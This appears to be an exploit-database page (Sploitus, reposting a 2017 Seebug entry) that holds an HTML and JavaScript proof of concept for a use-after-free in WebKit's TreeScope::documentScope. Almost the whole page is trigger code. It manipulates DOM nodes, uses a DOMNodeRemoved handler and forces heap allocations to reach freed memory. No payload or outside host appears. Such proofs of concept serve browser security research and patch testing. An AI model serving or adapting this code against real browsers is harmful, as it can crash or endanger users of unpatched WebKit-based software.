Sploitus

Exploit for WebKit: use-after-free in WebCore::TreeScope::documentScope

seebug Β· 2017-11-23

Exploit Code

MARKDOWN31 lines
## https://sploitus.com/exploit?id=SSV:96883
<script>
function freememory() {
 var a;
 for(var i=0;i<100;i++) {
   a = new Uint8Array(1024*1024);
 }
}
function go() {
  var v = document.getElementById("v");
  o.defaultValue = "x";
  a.appendChild(v);
  freememory();
}
function eventhandler2() {
  var d = document.implementation.createHTMLDocument("doc");
  var s = d.createElement("script");
  s.prepend(v);
}
function eventhandler1() {
  v.appendChild(o);
  o.addEventListener("DOMNodeRemoved", eventhandler2);
}
</script>
<body onload=go()>
</select>
<a id="a"></a>
<output id="o">foo</output>
<video id="v"></video>
<svg>
<text onload="eventhandler1()" />